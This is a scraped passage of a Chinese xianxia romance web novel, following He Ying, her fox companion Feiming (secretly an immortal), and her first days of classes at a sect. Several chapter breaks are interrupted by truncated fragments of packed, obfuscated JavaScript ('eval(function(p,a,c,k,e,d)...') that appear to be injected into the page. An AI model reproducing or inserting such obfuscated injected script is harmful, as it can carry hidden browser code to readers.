也罢,不管如何,她还有心思画这种画,就证明绯明的想法没错。 这个小小筑基期,看着胆子挺小,实际上色胆包天。 把自己画在本座怀里,真是不知羞耻! ……但是这样也有好处。这种道心不坚,见色起意的人,随便勾引一下,就上钩了。 只要情劫对象爱上自己,情劫不就迎刃而解了? 绯明满意地将画放回原处,回到三楼。 何缨对自己引狼入室一事毫无察觉,好不容易有一个甜美的梦,她只想这样一辈子睡下去。 绯明捏她脖子的时候没怎么用力,可是何缨的脖子上还是留下了几道红痕,在白皙的脖颈上愈发显眼。 分明已是修仙之人,却还是很脆弱,好像一碰就要碎了。 绯明皱眉,俯下身去,在何缨的肩侧轻轻吻了一下。 有些痒,何缨无意识地伸手,在他亲吻的地方挠了挠,被绯明一把捉住了手。 何缨换另一只手出来挠。 绯明又抓住了她的另一只手。 ……真麻烦。绯明索性变回了狐狸,趴卧在何缨的颈窝,用舌尖轻轻舔了舔那几道红痕。 何缨的两只手顺势把小狐狸圈在了怀里。 一小会儿功夫,那些红痕便消失了。 眼看脖颈白皙如初,绯明满意地点了点头。 何缨翻了个身,将绯明舒舒服服地抱在了怀中。 绯明一怔。几千年孤身在赤璃境,已经不知多久没有人这样亲密地拥抱他了。 何缨还在做梦,梦里的一群大大小小的狐狸围着她,亲昵地蹭来蹭去。她忍不住捧起一只亲了又亲。 别样的吻落在绯明敏感的耳朵上,他有些不自在地转过身,脸有些红。 可是一只毛茸茸是看不出来脸红的,况且何缨的动作都是无意识的,于是绯明只能忍着何缨又在他毛茸茸的脑后亲了又亲。 赤璃境内,绯明单手挡住了泛红的侧脸。清幽的弯月之下,万籁俱寂。 偌大的宫殿、楼台、庭院,寰宇之内空空荡荡了无人烟,除了绯明外,竟是没有第二个活物的存在。 不知道在这无边静谧里度过了多少的岁月,才习惯了这份悠久的孤独。 绯明在殿前的台阶边平躺了下来,闭上了双眸。 这样的美梦一直持续到中午,何缨才迟迟醒来。 醒后她发现了自己额头上十分可疑的莲花瓣,于是怀疑起男主是不是用那雪莲给自己种了什么蛊,一个不顺眼就会让自己爆体而亡。 这男主简直太坏了! 何缨拿男主没什么办法,她不了解这个世界到底是讲什么样的故事,只好走一步看一步,先把手头的事情忙完。距离开学还有几天,每天都有宗门内务处发来的通知和用品,以及课单。云淮没来找自己,何缨也不敢去找他。毕竟见了面也不知道该说什么。 连续几天没怎么出门,何缨一边整理乾坤袋里的东西,一边观察小狐狸。 小狐狸不怎么爱动,时常趴在三楼的栏杆上,既不用喝水也不用吃东西,只是静静地看她忙碌。白天她忙小狐狸看他忙,晚上她睡觉小狐狸便同她一起入睡。 几天过去,何缨睡觉的时间竟然也逐渐恢复了正常。 作息调整好了,何缨的精神也好了很多,脸色也不像之前那般苍白了。有活物陪伴的感觉真好,何缨感觉自己孤单的日常都有了寄托。 若是能一直这样下去,直到哪天死掉,何缨也不会有任何怨言。她的期盼很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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司命知道这人又要犯病,原本想打探打探那个小姑娘有没有被绯明杀掉,这下也没了念想,捂着屁股连忙逃了。 绯明没有阻拦司命离开。 仙君们各司其职,这仙界才能运转。而在这仙界里,唯一愿意和他说话的人,也就只有这位不怎么靠谱的司命仙君,蓝舒。 蓝舒每天神神叨叨的,又不会说什么好听的话,一见面就是说别人日后有什么什么灾祸,有什么什么劫难,别的仙君也不愿意搭理他,而绯明又是仙界不可言说一般的存在,这两个人凑在一起,众仙都战战兢兢,却也没什么办法。 蓝舒的测算确实很准。而绯明的法术也确实高强。 没了蓝舒吱吱哇哇发出噪音,赤璃境又沉寂了下来。仙界没有四季轮换,更没有风霜雨雪,绯明看着院子里千年不变的景观,终是乏味。 枫树旁边还放着一壶酒,蓝舒可能是来找他喝酒的。 “……无聊。”绯明一脚将那酒壶踢翻,回到殿里,于水镜前坐下。 画面里,何缨刚送走侃侃而谈的何谏云,伸了个懒腰,准备上课的东西。 这两天的何缨终于有点筑基期样子了,具体表现为她终于不执著于睡觉,而是在二楼没日没夜的画符,没日没夜地看书。 无他,内耗的老毛病又犯了。 这本书看到一半,何缨想起了什么似的,又去翻下一本。下一本是本礼制书,是何谏云给她的储物袋里装来的。 看到一半,何缨又想起她得把校服放在显眼的地方,不然她会忘了穿。 把校服搭在栏杆上,何缨又想起这边的世界里没有闹钟,她得画几张灵音符喊自己起床。 画到一半,何缨忽然想起自己似乎可以不睡觉。 修真界的学校,用不用点名呢?会不会提问呢,会分组吗?会有同桌吗?会留堂吗?会有作业吗? 何缨艰难地把自己四散的注意力抓回来,继续看书。 绯明百无聊赖地趴在三楼的栏杆上,看何缨把自己转成了一只陀螺。 8. 8 沧溟仙宗的学分制度是年度车轮制,宗内弟子分两轮,学一年休一年。这样的考虑也是为了方便那些有所领悟的弟子合理安排自己的时间,万一赶上了突破,可以等两年再去修学分。 这本来也没什么。毕竟何缨是有亲传师父的,正常来讲亲传弟子的衣食住行以及修炼之道,都由师父亲自管辖。 有的师父死板,每日修炼和练习都有固定的时间,还没开学呢就会给徒弟发一大长溜的课表和自学秘籍书单,然后再根据完成情况和每日上课的迟到情况给学分; 有的师父就比较随便,喜欢散养,你有问题就问,没问题自己爱干什么干什么,年末了给个得过且过的分数就算完事。 这样的循环大概会持续个二十年,二十年之后如果学生还没结丹,仙宗会给他算好学分,然后把学分兑换成学生所需的物品,遣送回家。 说白了就是二十年考察期,二十年结不了丹你的仙路也就这样了,回家去吧。 何缨对这些一无所知,更不知道其实大部分弟子都是冲着学分去的。他们既不想修炼也不想成仙,只想混点学分然后回家,仙宗给的东西足够他们一辈子荣华富贵了。 现在已经不是那个大能遍地,万人成仙的时代了。 所以像何缨这种天赋异凛的存在,搁在云淮手下确实是有些可惜。 毕竟云淮是真撒手掌柜,什么都没告诉何缨就一个人无影无踪了。 何缨甚至不知道亲传弟子不用去上给外门弟子准备的大班课。 明天就是上课的日子了,何缨晚上还在画符,她像一只蘑菇长在了阁楼二楼。偶尔走神画错,整张符箓废掉,就前功尽弃了。 “为什么……没有撤回……我需要撤回……”离了现代高科技,何缨再也不能在电子画布上随便画画然后撤回了,就因为这个,她刚开始画符的时候报废了几百张,今天一共才画错了五张,已经是颇有进步了。 绯明从三楼的栏杆上跃下,跳到了何缨的书桌上。 何缨精神恍惚,她哗啦哗啦地翻书,企图将书中的每一种符都记下来。 绯明用爪子扒拉书页,那本符箓合集已经被翻到了化神期,上面讲的正是化神期才能画成的溯回符。 绯明:? 她明天不是去上课的?自己把东西都提前学了还上什么课? 绯明摸不着头脑。他刚想扒拉另一本礼制书,就被身后的一双手偷袭了。 何缨把狐狸抱了个满怀。 绯明四只狐爪难敌两只人手,主要是这人实在是太过抗挠,任他怎么折腾都不松手。 何缨把脸贴在狐狸毛茸茸的后背深吸一口,绯明转过头来作势咬她,何缨把脸凑过去给他咬,对着他的侧脸和耳朵又蹭又亲。 绯明震怒,天天就知道轻薄本座! 然而他现在是一只狐狸,于是所有愤怒的嚷嚷都变成了嘤嘤的叫声,可爱极了。 何缨把他压在书桌上,把脸埋进了肚肚。 你一只小狐狸能把我怎么样呢!你逃不了啦! 何缨把狐狸搂在怀里叹了口气。 只有抱住怀中的小狐狸时,何缨的思绪能稍微安静下来。明明生活如此美好,明明世界如此新鲜,可为什么她总是控制不住地去想那些让人焦虑的事情呢? 何缨放下桌上乱七八糟的书籍和符纸,抱着绯明回了三楼。 天就要亮了,何缨不再磨蹭,哗啦哗啦地梳头换衣服。 一切整理完毕,何缨把提前写好的符箓装进储物袋,蹲在门口思考自己还有事没做。 绯明本来还在用跳下楼阁,爬到了何缨的肩上。 “不行不行,今天可不能带你去,你在院子里玩吧!我给你买好吃的回来!”何缨揉了揉狐狸的头,将他抱下来。 何缨站起身来,连做了三次深呼吸,又检查了一遍自己的着装。 蓝白色的校服一尘不染,每一层里衣都妥帖地塞进了正确的位置。 首先,家门是人体智能识别,不用带钥匙; 其次,修真界没有手机; 最后,她不用吃饭也不用睡觉,不需要顺路采购生活必需品。 好!何缨拿过门旁挂着的纱巾,系在了脖子上,把下半张脸藏了起来。 ……像个江洋大盗。 大盗何缨雄赳赳气昂昂地跨出了铜镜。 赤璃境的仙亭里,绯明支着下巴,在棋盘上落下一子。巨大的狐尾在身后一摆一摆,时不时打到柱子上,把柱子敲得砰砰响。 你不带本座,本座自己去。 八条柔软的狐尾肆意伸开,绯明伸手触碰水镜,一股灼热的灵力自掌心流出。 片刻后,他收回手。身后的狐尾又少了一条。 何缨雄赳赳地出门,没走两步,就像只被戳破了的气球,立马蔫了下来。 上课地点在外门弟子所在的熙融峰上,也正是一开始的时候何缨踏进沧溟仙宗的那片土地。 熙融峰是几座山峰里最大的一座,他不怎么高,却连绵很远。住在此地的人数也是最多。 何缨本来想贴个飞行符自己飞过来,但是她还没能克服一个人在天上飞的奇葩和尴尬。 大家都在天上飞,这有什么好怕的? 可是别人都是御剑!腾云驾雾!瞬间传送!她什么都不会,真的不要太尬尴。 逃避可耻但有用,何缨自己骗自己,假装根本不会画飞行符,到山□□了灵石又一次坐上了滴滴打鹤。 因为是开学第一课,几乎所有的外门弟子都会去听,地点就设在了正殿。 何缨到的时候,已经有一半的人在正殿里等着了。 出于为还未筑基的弟子考虑,学堂和普通的教室没什么区别。殿内摆放好了一张张的木桌和长椅,一排一排地延伸到最后。对于修真者来说环境算不上好,人太多,声音杂。可是对于何缨来说却没什么,这样的日子她在大学里已经习惯了。 何缨走进正殿,原本嘈杂的人声消失了。不管是刚入门的小童还是入门十几年的男男女女,所有人都带着震惊的表情看向何缨。 何缨往里走,周围的人齐刷刷地退后,还在打闹的弟子也停了,慌忙朝两边退去,不忘把扔在地上的纸团捡走。 众人为何缨让出了一条大道。 何缨心道我又不是恶霸! 她没走两步,身后一个小童跑出了大殿,一边跑一边大喊:“何仙子来这儿听课啦——” 没过一会儿,乌泱泱来了一大堆人,别说是外门弟子,听到风声的内门亲传也来了。这开学第一课从来没这么热闹过。 何缨默默地走到了最后一排靠窗坐下。其实她很想坐在前排听听课,因为她确实对修炼一无所知。但是她现在去前排坐下一定会被所有人围观,她都不敢想自己在前面坐下之后身后有多少双眼睛盯着她。 还是坐在最后一排吧,起码后面就是墙。 来人越来越多,教室渐渐被填满,但是没人敢坐到何缨周围。以何缨为中心前两排和旁边一整条长椅空无一人。四下的人都在偷偷打量何缨。 掌门弟子……何谏云的胞妹……筑基期…… 许许多多的定义词汇自那些人的嘴里吐出。 谢邀,人在熙融峰,开学第一天就被同学孤立了。 就这样一直持续到授课先生走进了正殿,依旧没有任何人敢坐到何缨的身边。 教课的是个老者,并不是宗门内的长老,而是特意请来的教课先生,专门教没有师父的弟子们自我修行。 何缨把提前准备好的收声符贴在了桌边,这样她就不用记笔记,只要符还在,她就能像看网课一样一遍一遍听了。 就在这时,她旁边的窗户突然动了。 窗户被人从外面拉开,一个青年男子从窗户翻了进来。 是个练气一阶,衣着朴素,大抵是外门弟子。 此人肯定是因为迟到,所以十分没脸没皮地从最后一扇窗偷翻了进来,以免被授课老师抓住。 然而在何缨眼里,却不是这样的。 因为她能清晰地看见这人身前的名牌上大大剌剌的写着两个字——男主。 【男主???】 何缨三观炸了。 等会,等会?这到底是本什么小说?怎么还有别的男主? 还是说,这金手指又抽筋了?这也能写错? 思绪百转千回之间,那人翻进了正殿,在何缨身边坐下,两条腿极其嚣张地搭在了桌子上。 然后,他双手环在头后,懒懒地靠在椅背上,闭上了眼睛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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少女筑基初期的修为,额前三片雪莲花瓣熠熠生辉。而另一个弟子刚刚引气入体,却在一旁闭目养神,两只脚都靠在桌上。 他们周围一个人都没有,俨然已被众人隔绝开外。 也许是心里想什么看到的就是什么,郑康立刻认定了他们之间有不正当的关系,当即走下讲台。 他伸出手,朝那练气期的男弟子抓去。 何缨心道,大兄弟,虽然我不知道这个男主是怎么回事,但是我有预感,你这只手要完。 …… 绯明本来是在路边随意放倒了一个弟子,变成他的模样来找何缨。 课程对他来说没有任何意义,他只是想跟着这个脆弱的筑基期,以免被什么人伤了碰了。 一到了外面,何缨就跟换了个人一样,沉默,凝重,不苟言笑。 绯明时不时睁开眼打量何缨的侧颜。 那双朱唇昨天才刚把他浑身上下亲了个遍。此刻却抿得死死的,眉眼也低垂了下来。 绯明看着看着,眉头微蹙。 她不开心,为什么还要来这里? 服下那朵雪莲,何缨结丹只是早晚的事,这种人声鼎沸乱如一锅粥的地方,有什么来的必要? 正在此时,一只枯朽的手朝他抓来,绯明抬脚,不偏不倚就踹上了郑康的胸口,郑康登时倒飞出去三尺,撞到了一片书桌。 索性他们周围没有别人,没误伤到谁。 郑康胡子都气歪了,他从桌椅里站起来,指着绯明,“你你你你……” 绯明懒得理他,又恢复了原来的姿势。 能这般无视郑康的,自他十年前上课以来,还是第一个。 郑康眯起眼,直觉有鬼,他不看绯明,而是转向何缨指责道:“小小年纪就收男宠,一个药罐子养大的筑基期!不学无术!” 何缨:“……” 绯明:“……” 何缨僵硬地扭头看向坐在她身旁的“男宠”,“男宠”也转头看她。 两人一对视,倒是绯明先红了耳根。 以本座的相貌,就算当男宠也是专宠的那个。 9. 9 郑康骂了一通,还是气。 “你是符修?” 莫名其妙多了个男宠的何缨一脸茫然地点了点头。 “你站起来。给大家画一张霹雳符。” 霹雳符,筑基后期修为可画。筑基期符箓中最有杀伤力也是最难画的一张符。 何缨没想到郑康要她画霹雳符,她仔细记的都是些功能符,比如清心啊净身啊之类的,霹雳符她只扫过一眼,现在只能掏出书来现画。 画个符还要翻书,一看便是才疏学浅。 郑康恶意冲天,这帮上课的门外汉,也敢和他一个郑家亲传叫嚣?若是她画不出,一定要扣着她的学分,让她跪着来求自己! 何缨下笔飞快,照抄有什么难的? 一张霹雳符画好,交到郑康的手中。 郑康:“……” 她不是筑基初期吗!怎么一点凝滞都没有,就这么水灵灵画出来了? “……你再画,盾铠符。” 盾铠符,金丹期符箓的一种,用于防身。 这符何缨记得,一笔不落的画完了。 郑康七窍生烟,他不信这个小小筑基期什么都能画出来。 金盾符、玄冰符、溯回符,一张接一张,何缨毫无停顿,空气中的灵气疯狂涌入她的笔尖。 就在郑康濒临崩溃搬出了仙符之时,绯明握住了何缨下笔的手腕。 若说刚才郑康只是想为难何缨,现在就是想要何缨的命了。越阶画符,轻则灵脉受损,重则反噬已身,爆体而亡。若不是何缨体质同常人有异,不用借助自身灵气,而是引动天地灵气画符,此刻早已灵脉尽毁。 绯明挡在何缨身前,冷冷地看向郑康,“想看法术?我给你看。“ 他抬起右手,打了个响指。 登时一片烈火将郑康包围,郑康被拿火苗烧的不住嚎叫,他掏出了数件防御法器,却在顷刻间尽数碎裂。没过多久,郑康就跪在了地上,不住地朝绯明讨饶。 众人只知何缨是天之娇女,却不认识她旁边这个外门,这么一来二去,反倒是这个外门更无法无天一些。 这哪里是男宠,这是何缨养得一条疯狗吧! 心里这么想,但是大家却都很爽,毕竟被咬的不是他们,而是郑康。 眼看事态便得不可收拾,何缨后撤了一步,轻轻地拉了一把旁边火气冲天的“男宠”。 “再烧下去他真的要死了。这件事还是交给掌门去处理吧。” 旁人以为他是仗着何缨的身份作威作福,只有何缨知道这一切根本和她没关系好吗!这仅仅是因为他是男主而已啊! 再不叫停这事就要算在她头上了! 绯明被何缨双手拉住,冷哼一声,收回了火焰。 这堂课结束后,沧溟仙宗都知道何缨收了个男宠,那男宠明明只有练气修为,却将在外门作威作福的郑康烧了个半身不遂,可谓深藏不露。 下了课,何缨逃也似地离开了正殿。 绯明在她身后紧追不舍。 何缨往左,他也往左。何缨往右,他也往右。像一块年糕,粘住何缨不放。 遇到这种情况,穿越前的何缨一定会在人流最多的地方假装刷手机让对方先走,只要对方先走了,她就走另一条路,绕远也无所谓。 但是现在她没有手机,于是只能跟个傻子似的,走到一旁,假装欣赏风景。 绯明并没有领会何缨的意思,他不仅没先走,反而跟何缨一同肩并肩站定。 四周全是树,偶尔有几只鸟飞过。 有什么好看的? 绯明这么想的,也就这么问了。 何缨:“……” 何缨:“那个,你认识我?” 绯明:“我不是你的男宠么?“ 何缨疯狂退后,这书怎么回事啊,怎么男主一个比一个有病啊! 何缨从小到大最怕陌生人纠缠,而陌生人的定义是除了她自己以外的所有人,因为她父母早逝,一直都是一个人生活。 这里是修真界,男主一看就是个不好惹的,要是不顺着他说话,说不定哪天小命就没了。 可是何缨不怕死。她更怕这样胆战心惊的折磨,更怕这样不得不和陌生人永无休止的对话。 于是她回头,抻平双臂阻止了绯明的靠近。 “我不认识你,你也不是什么男宠,我们本就毫不相干,你需要我解释,我就去和他们解释;若是我身上有什么东西是你需要的,就全部拿去吧!” 拿走吧,是性命也随便你。 拿走之后,就别再纠缠我啦。 绯明:“你身上能有什么值得我觊觎的东西,我怎么不知道?“ 何缨何缨紧闭双眼,咬紧牙关,双臂发颤,却还是明确地阻拦了绯明。 “那就请你不要再跟着我了!” 绯明原本脸上还带着调侃的笑意,此刻那笑容渐渐地消失了。何缨的手臂十分纤细,此刻却成为了隔在两人之间坚定不移的阻挡。 “……谁跟着你了,自作多情。” 撂下这句话,绯明从何缨的双手前推开,换了个方向,走了。 何缨低着头,看着那人的衣摆从自己身侧离开,松了一口气。 还行,没疯得很彻底,这位男主千万不要放弃治疗啊。 何缨想不到的是,之后的几天,这位没疯的很彻底的男主角,换了十来个身份,以各种理由,只要她一出门,就过来跟着她。何缨刚开始还以为是这本书本来就男主众多,这一来二去,避无可避,她终于反应过来,这男主是变化成好几个不同的人追着她不放呢。 她拒绝了一个,他就换下一个,她再拒绝,他再换。 她去给狐狸买宠物零食,他就去店里扮成店小二;她去上课,他就扮成弟子跟她一起上课。 什么从天而降霸道男神,什么楚楚可怜小仙男,什么冷面无私高岭之花…… 而今天,何缨看着在学堂门口等自己的“景言川“,大跌眼镜。 好家伙,伪装路人已经满足不了你的戏精欲望了吗,连我师兄你都敢cosplay? 顶着男主名牌的“景言川“见何缨出来了,喊了一声师妹。 何缨在他面前站定,周围的仙宗弟子们发出了一阵嘘声。 当今宗门里最顶尖的两个天才站在一起诶。 是的,在何缨来沧溟仙宗之前,景言川便是沧溟仙宗无可争议的天才。在云淮放任自流不管不顾的情况下,以一己之力凭一把剑硬抗四九天雷渡劫到化神期,成为了那一届弟子中唯一一个化神修士。 即便成了化神,景言川也没有自立山头。他不善言辞,喜欢安静,痴迷练剑,更是鲜少出现在众人面前。 何缨进门不到半月,已经从练气突破到筑基,此等修炼速度比景言川当年还要逆天。 这样两个人站在一起,郎才女貌,十分登对。 于是大家纷纷鼓起了掌。 何缨:“……” 假扮成景言川的绯明:“……” 不出意外,明天沧溟日报头条又有新东西可写了。 此前纠缠何缨的身份都是与她不相干的人,何缨都有理由拒绝和逃避,但是现在是景言川站在这等她,她不能不理。 何缨:“师兄找我有事?” 绯明沉默了片刻,“无事便不能来找师妹?“ 吃瓜群众立刻发出了哎哟的声音进行一个哄的起。 何缨头上冒出三个大大的问号。 男主你把我师兄人设搞崩了! 何缨借口有事,拒绝了“景言川“的同行请求,她默默地绕开“景言川“,紧赶慢赶地跑回了无相天峰。 这人扮成师兄的模样,她师兄没受什么伤吧! 望着何缨落荒而逃的背影,跟踪了何缨数天的绯明发现自己似乎搞错了一件事。 在家里时,何缨总是笑盈盈的,温柔地捧着他亲吻,不厌其烦地替他准备好热水,替他洗澡,梳毛。 在外,何缨却是沉默且冷寂的,好像一节干枯的枝桠,失去了所有的活气。 她的笑和温柔,并不是为他,而是因为——他是一只狐狸。 何缨喜欢的,是狐狸。 而当他变成人,就和千千万万个普通人没了分别。她对他和那些人一样,回避,退却,拒绝。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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收回了第二个分神,绯明八条尾巴摇的十分欢快,他又拿起一片脆片放进嘴里。酥脆香甜的水果脆片被咬的咯吱作响。 绯明吃的越香,蓝舒越是馋的流口水。 他忍不住蹭到绯明旁边,“给我尝尝呗,一片,就一片。“ 绯明白了他一眼,拿了块最小的给他。 蓝舒一拿到就迫不及待地扔进了嘴里。 “咦?这是什么东西,好吃好吃。你在哪弄到的?” “有人特意买来送给我的。“绯明眉毛都扬了起来,肉眼可见的心情明媚。 “谁啊?在哪买的,我也去买点吃!” 绯明:“废话真多。不知道。” 蓝舒:“……”这给你小气的!不就是一袋零食吗我自己去找! 临走时,绯明喊住了他。“你那支玄机篆,给我一用。” 蓝舒回头:“那再给我吃一口。” 绯明:“……” 他另外掏了个袋子抛给蓝舒,蓝舒这才喜笑颜开地把玄机篆交给了绯明。 绯明把最后一块脆片扔进口中,把那花花袋子捋平,收进了袖子里。他打了个响指,两个小童立刻出现在了面前。 “新天坛搭好了?” 小童立刻俯身称是。 “启禀尊上,祭祀用的东西已经提前备好了,这次备了三份。绝不会再出差错。” 绯明点了点头,两个小童又消失在了原地。 远处,蓝舒出了赤璃境,美滋滋地打开袋子。这是一袋鸡肉串,油香油香的。 蓝舒拿出一只放入嘴中。 他一口咬下,却只咬到了一根木棍。 蓝舒:“?” 他抬手一看,手中哪有什么鸡肉串,分明是赤璃境门口那颗老梧桐的枯枝! 袋子里的鸡肉串摇身一变,变成了一截硬邦邦的枯木。 蓝舒:“……”又被这臭狐狸骗了! 10. 10 何缨还在回无相天峰的路上。看守仙鹤的弟子看见何缨来了,殷勤地迎了上来。 “何仙子,以后你坐仙鹤,都不用花灵石了。” 何缨奇道:“这么好?” 那小弟子乐呵呵地告诉了何缨原因。 自从宗门中的弟子发现何缨出行不用任何术法,而是乘坐仙鹤往返后,纷纷效仿,宗门里的仙鹤供不应求,交通差点瘫痪。是宁栖临时去补了一批仙鹤,这才勉强补足了数量,让仙鹤航空勉强维持住了运营。于是作为大力推动仙鹤航空第一人的何缨就被免去了乘坐的费用。 沧溟日报也详细记述了这件事。 秘籍,这一定是何仙子迅速突破的秘籍。 何缨回头,这才发现带上鞍具的仙鹤有好几十只,个个体态健美。何缨伸手摸了摸它们绵软的羽毛,仙鹤们也亲昵地蹭了蹭何缨的手心。 下了仙鹤,何缨匆匆忙忙地跑向景言川的小院。 院门口十分安静,何缨左瞧右瞧,院前的空无一人,竹林里也十分安静。 竹林没对何缨设限,何缨双手合十跟师兄到道歉自己不是有意闯进这里的。 林边的瀑布下,躺着一个白色的人影。何缨大惊,师兄怎么在水里?她不顾衣衫被泉水打湿,深一脚浅一脚地朝瀑布靠拢,她用双手拖住景言川的肩膀,却怎么也使不上劲,只能拽住景言川的袖袍,扛麻袋似的将那在沉在水中的男子拖出水面。 景言川双眼紧闭,薄唇微抿。额前的发丝紧贴在侧脸上,比起第一次见时少了几分冷淡,多了一些脆弱。 “师兄,师兄醒醒!” 不是吧男主哥你就把我师兄这么丢在大河里泡发,不是人啊! 何缨迅速掏出几张避水符,将师兄身上的水烤干。 她从乾坤袋里倒出一堆药瓶,什么聚灵丹聚气丹凝魂丹,何缨找了半天,根本分不清他们都有什么用,就差全都塞进景言川嘴里了。 一颗回魂丹已经抵在景言川的唇上,景言川却在这时睁开了双眼。 “师兄,你没事吧!”何缨见状,连忙将药瓶扔到了一边,将挡在景言川眼前的发丝拨开,露出一张苍白的脸。 “……我无碍。” 景言川怔怔地看向何缨。少女于清空之下垂眸,她宽大的袖子已经湿透,双手却紧紧扶着他的肩,平日里清清冷冷的神色早已不见,取而代之的是满目焦急。 一时之间,景言川几乎忘却了自己身在何处。 他伸出手,想要替何缨拂去脸上的水痕,却被何缨一把握住。 “师兄,你告诉我,你是不是被一个红眼睛的男人打晕了!” 景言川摇了摇头,他轻轻地按揉自己的太阳穴,从何缨的怀中坐起身来。 “并无,只是在水下修行忘了时间。” 何缨:“……” 何缨将信将疑,“真的?“ 景言川点了点头,“这座竹林除了你我还有云师兄外,没人能进得来。“ 何缨心说那可不一定,万一男主有什么逆天金手指满地随便乱跑呢,她都被追了不知道多少回了,根本不知道这人会从哪里冒出来。 景言川看了看门口的石碑,“我在石碑上留了神识,若是有外人进入此地,我会有所感应,今日并无他人到访。“ 他看着何缨紧张兮兮瞪大的桃花眼,唇角轻轻扬起一个不易察觉的弧度。 “多谢师妹关怀。” 何缨心道师兄你可长点心吧,泡水里都能忘记时间?真淹死了我就要变成独苗苗了! 何缨语重心长地叮嘱了景言川一堆注意事项,包括但不限于下水不能睡觉以及多喝热水少泡冷水澡。 景言川在这冰冷的泉水中泡了几十年,何缨是第一个担心他身体健康的人。冷肃的眼眸里终于有了温度,景言川点了点头,将何缨的话一一应下。 “师妹,明日还要上课?” 何缨点了点头,“上午有灵宠课,下午还要去后山练习。” 景言川表示他知晓了。 两人一时无话,何缨这才反应过来自己都干了些什么。她连忙从地上站了起来,唰拉拉地在原地转了个圈,两手来回拍打着拂去裙摆上的草叶。 不对,不是有净身符吗,到底为什么要多此一举。 何缨往自己头上哗哗连拍了三四张净身符,光速后退到竹林外,给景言川三鞠躬。 “既然师兄无事我就不打扰你了,告辞!” 景言川看着何缨顶着一头符箓急匆匆地跑了,不禁失笑。 他坐正身体闭目调息,林间清风不止,过了一会,他忽地发觉手臂上缠着什么东西随风飘荡。 景言川睁眼,只见他袖袍的金边之上,勾着一条四四方方的手帕。 那手帕十分可爱,上面画了一只憨态可掬的小狐狸。 小狐狸这几天都闷闷不乐的,何缨趴在床边怎么逗他也没反应。 这几天何缨已经回到床上睡觉了,原因是她一往地上铺被子,小狐狸就用牙咬她的手腕。 并不是真的咬,只是用嘴软软地衔着不肯松口,还抹她一手腕的口水。何缨铺了半天的被子又都被他叼走了,忙活半天累得够呛,一回头被子和枕头被他甩得满天飞。 最后何缨只能选择了妥协。好吧这也不算什么妥协,这只是一个内耗患者的无意义倔强罢了。 何缨爬上床盖好被子,狐狐那肉乎乎的小爪子就在手边,她忍不住抓在手里亲了亲。 绯明有气无力地撇了何缨一眼。 何缨并不知道绯明在想什么,她抱住狐狸猛吸了一口,开心地在狐狸毛里蹭来蹭去。 “明天就要上灵宠课了,你说,我是再找一只小狐狸陪你好呢,还是带些别的灵兽回来?我要是带一只灵鸟回来,你不会吃了它吧……” 绯明竖起耳朵,转过头来表情囧囧地看着何缨。 何缨有一下没一下替他捋着毛。 养一只鸟确实不错。要是以后能长到很大,就可以带她飞行了。 绯明用肉垫糊了何缨一巴掌。 何缨被爪爪踩了也不恼,把脸凑过去又是一顿猛亲。 绯明把脸钻进枕头底下不给亲。 你这筑基期,招惹了本座竟然还想要捉别的灵宠回来,这是你和本座的住处,本座绝对不许别的什么玩意染指! 何缨伸手戳了戳毛毛。 绯明纹丝不动。 何缨搓了搓狐尾。 绯明立刻钻出来将尾巴护在了身后。 看来狐狸的尾巴是真的不能摸哦。何缨坏笑,她掏出一张符,悄悄地靠近小狐狸。 绯明早听见何缨这鬼鬼祟祟的动静,但是没理。一想起何缨连续拒绝了他七八次,他就烦的不行。 感觉狐生无望。 他正惆怅,视野却忽然高了起来。软垫从他的头上脱离,四只狐爪也离开了床面。 绯明一回头,看到了支在床边傻乐的何缨。 何缨把飞行符贴在了绯明的后背上。 于是绯明一只狐便轻飘飘地飞了起来。 绯明:“……” 许久后,何缨顶着一脸爪子印幸福地睡了。梦里一群狐狸围着她打转,她给每只狐狐都贴了飞行符,于是狐狐们开始围着她走太空步。 绯明变回人形,怒视熟睡着的何缨。何缨翻了个身,两条白皙的小臂就伸出了铺好的被子,悬空在外侧。 绯明皱眉,打了个响指,何缨便轻飘飘地躺在了床里。少女墨色的长发铺散了满床。又是一个响指,柔软的被子盖在了何缨的身上。 何缨向上蹭了蹭,主动压到了绯明的枕头上。 绯明伸手,捏住了何缨的一侧脸颊。 何缨睡得很死,毫无察觉,只是不满地嘟囔了几句。 绯明第一百零八次检查自己手腕上的红线,线的那段依旧死死缠在何缨的手腕上。 何缨的睡相一天比一天豪放,她翻了个身,把自己裹成了一只蚕蛹,撞到绯明怀里。 绯明把手放在了何缨的后脖颈上。姿势暧昧地把何缨搂在了怀里。 温热的手贴着皮肤,何缨并不排斥,甚至扶着绯明的胸膛,将自己贴进了绯明的颈间。 嘿嘿,狐狐。 何缨无意识地呢喃着。 绯明的手被何缨紧紧攥着,抽都抽不出来。 一刻钟后,绯明放弃了挣扎。 他变成狐狸,从何缨的手中挣脱,愤愤地压在了何缨的胸口上。 狐狐郁闷地把尾巴放在了何缨的脖子上装围脖。 夜里,一人一狐相安无事。一缕暗紫色的怨气自何缨的身上无声飘起,紧接着,像是被什么吸住了一般,朝着绯明倾斜而去。 那怨气一头钻进了绯明的心口,消失不见。 赤璃境内,绯明蹙起眉头。一片刀山火海自他脑海中闪过。数以万计的魔的尸体。分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 